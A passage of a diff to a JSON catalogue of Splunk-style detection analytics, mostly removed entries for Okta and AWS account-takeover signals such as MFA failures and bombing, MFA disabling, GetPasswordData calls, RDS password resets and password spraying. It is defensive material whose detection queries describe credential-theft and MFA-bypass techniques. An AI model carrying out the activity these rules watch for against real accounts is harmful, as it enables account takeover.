as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_verclsid` AND Processes.process=\"*/S*\" Processes.process=\"*/C*\" AND Processes.process=\"*{*\" AND Processes.process=\"*}*\" by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `verclsid_clsid_execution_filter`", - "tags": { - "analytic_story": [ - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "process $process_name$ to execute possible clsid commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.012", - "mitre_attack_technique": "Verclsid", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -447303,3378 +308937,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Okta Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts during the Multi-Factor Authentication (MFA) challenge in an Okta tenant. It uses the Authentication datamodel to detect specific failed events where the authentication signature is `user.authentication.auth_via_mfa`. This activity is significant as it may indicate an adversary attempting to authenticate with compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing attempt to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Authentication.app) as app values(Authentication.reason) as reason values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.authentication.auth_via_mfa Authentication.action = failure by _time Authentication.src Authentication.user Authentication.dest Authentication.action | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| iplocation src | `okta_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] has failed to authenticate via MFA from IP Address - [$src$]\"", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Successful Single Factor Authentication", - "description": "The following analytic identifies successful single-factor authentication events against the Okta Dashboard for accounts without Multi-Factor Authentication (MFA) enabled. It detects this activity by analyzing Okta logs for successful authentication events where \"Okta Verify\" is not used. This behavior is significant as it may indicate a misconfiguration, policy violation, or potential account takeover. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches or further exploitation within the environment.", - "search": "`okta` action=success src_user_type = User eventType = user.authentication.verify OR eventType = user.authentication.auth_via_mfa| stats dc(eventType) values(eventType) as eventType values(target{}.displayName) as targets values(debugContext.debugData.url) min(_time) as firstTime max(_time) as lastTime values(authentication_method) by src_ip user action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search targets !=\"Okta Verify\" | `okta_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has successfully logged in to Okta Dashboard with single factor authentication from IP Address - [$src_ip$].", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "ASL AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages Amazon Security Lake logs, specifically monitoring for `DeleteVirtualMFADevice` or `DeactivateMFADevice` API operations. This activity is significant as disabling MFA can indicate an adversary attempting to weaken account security to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, potentially leading to unauthorized access to sensitive resources and prolonged compromise.", - "search": "`amazon_security_lake` (api.operation=DeleteVirtualMFADevice OR api.operation=DeactivateMFADevice) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Console Login Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts to the AWS Console during the Multi-Factor Authentication (MFA) challenge. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect when MFA was used but the login attempt still failed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials but being thwarted by MFA. If confirmed malicious, this could suggest an ongoing attempt to breach the account, potentially leading to unauthorized access and further attacks if MFA is bypassed.", - "search": "`cloudtrail` eventName= ConsoleLogin errorMessage=\"Failed authentication\" additionalEventData.MFAUsed = \"Yes\" | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode errorMessage userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_console_login_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ failed to pass MFA challenge while logging into console from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Credential Access Failed Login", - "description": "The following analytic identifies unsuccessful login attempts to the AWS Management Console using a specific user identity. It leverages AWS CloudTrail logs to detect failed authentication events associated with the AWS ConsoleLogin action. This activity is significant for a SOC because repeated failed login attempts may indicate a brute force attack or unauthorized access attempts. If confirmed malicious, an attacker could potentially gain access to AWS account services and resources, leading to data breaches, resource manipulation, or further exploitation within the AWS environment.", - "search": "| tstats count earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Authentication where Authentication.action = failure Authentication.app=AwsConsoleSignIn Authentication.signature=ConsoleLogin BY Authentication.app Authentication.signature Authentication.dest Authentication.user Authentication.action Authentication.user_id Authentication.src | `drop_dm_object_name(Authentication)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_failed_login_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has a login failure from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access GetPasswordData", - "description": "The following analytic identifies more than 10 GetPasswordData API calls within a 5-minute window in your AWS account. It leverages AWS CloudTrail logs to detect this activity by counting the distinct instance IDs accessed. This behavior is significant as it may indicate an attempt to retrieve encrypted administrator passwords for running Windows instances, which is a critical security concern. If confirmed malicious, attackers could gain unauthorized access to administrative credentials, potentially leading to full control over the affected instances and further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=GetPasswordData eventSource = ec2.amazonaws.com | bin _time span=5m | stats count values(errorCode) as errorCode dc(requestParameters.instanceId) as distinct_instance_ids values(requestParameters.instanceId) as instance_ids by aws_account_id src_ip user_arn userAgent eventName _time | where distinct_instance_ids > 10 | `aws_credential_access_getpassworddata_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is seen to make mulitple `GetPasswordData` API calls to instance ids $instance_ids$ from IP $src_ip$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access RDS Password reset", - "description": "The following analytic detects the resetting of the master user password for an Amazon RDS DB instance. It leverages AWS CloudTrail logs to identify events where the `ModifyDBInstance` API call includes a new `masterUserPassword` parameter. This activity is significant because unauthorized password resets can grant attackers access to sensitive data stored in production databases, such as credit card information, PII, and healthcare data. If confirmed malicious, this could lead to data breaches, regulatory non-compliance, and significant reputational damage. Immediate investigation is required to determine the legitimacy of the password reset.", - "search": "`cloudtrail` eventSource=\"rds.amazonaws.com\" eventName=ModifyDBInstance \"requestParameters.masterUserPassword\"=* | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.dBInstanceIdentifier) as database_id by src awsRegion eventName userAgent user_arn| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_rds_password_reset_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "database_id", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$database_id$ password has been reset from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages AWS CloudTrail logs to identify events where MFA devices are deleted or deactivated. This activity is significant because disabling MFA can indicate an adversary attempting to weaken account security, potentially to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, posing a significant risk to the security and integrity of the cloud infrastructure.", - "search": "`cloudtrail` (eventName= DeleteVirtualMFADevice OR eventName=DeactivateMFADevice) | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id userAgent eventID awsRegion user_name userIdentity.arn status | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests to an AWS Console for a single user. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect more than 10 failed MFA prompts within 5 minutes. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access to the AWS environment, potentially compromising sensitive data and resources.", - "search": "`cloudtrail` eventName= ConsoleLogin \"additionalEventData.MFAUsed\"=Yes errorMessage=\"Failed authentication\" | bucket span=5m _time | stats dc(_raw) as mfa_prompts values(userAgent) as userAgent values(src) as src by _time user_name user_arn aws_account_id eventName errorMessage | where mfa_prompts > 10| `aws_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ is seen to have high number of MFA prompt failures within a short period of time.", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Successful Console Authentication From Multiple IPs", - "description": "The following analytic detects an AWS account successfully authenticating from multiple unique IP addresses within a 5-minute window. It leverages AWS CloudTrail logs, specifically monitoring `ConsoleLogin` events and counting distinct source IPs. This behavior is significant as it may indicate compromised credentials, potentially from a phishing attack, being used concurrently by an adversary and a legitimate user. If confirmed malicious, this activity could allow unauthorized access to corporate resources, leading to data breaches or further exploitation within the AWS environment.", - "search": " `cloudtrail` eventName = ConsoleLogin | bin span=5m _time | stats values(userAgent) as userAgent values(eventName) as eventName values(src_ip) as src_ip dc(src_ip) as distinct_ip_count by _time user_arn | where distinct_ip_count>1 | `aws_successful_console_authentication_from_multiple_ips_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account", - "Suspicious AWS Login Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has successfully logged into the AWS Console from different IP addresses $src_ip$ within 5 mins", - "risk_score": 72, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful Console Login authentication event for an AWS IAM user account without Multi-Factor Authentication (MFA) enabled. It leverages AWS CloudTrail logs to detect instances where MFA was not used during login. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the AWS environment, potentially leading to data exfiltration, resource manipulation, or further privilege escalation.", - "search": "`cloudtrail` eventName= ConsoleLogin errorCode=success \"additionalEventData.MFAUsed\"=No | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode additionalEventData.MFAUsed userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has successfully logged into an AWS Console without Multi-Factor Authentication from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "AWS Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with multiple valid users. It uses CloudTrail logs and calculates the standard deviation for source IP, leveraging the 3-sigma rule to detect unusual numbers of failed authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS distinct_attempts values(user_name) as tried_accounts by _time, src_ip | eventstats avg(distinct_attempts) as avg_attempts , stdev(distinct_attempts) as ip_std by _time | eval upperBound=(avg_attempts+ip_std*3) | eval isOutlier=if(distinct_attempts > 10 and distinct_attempts >= upperBound, 1, 0) | where isOutlier = 1 |`aws_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $distinct_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - 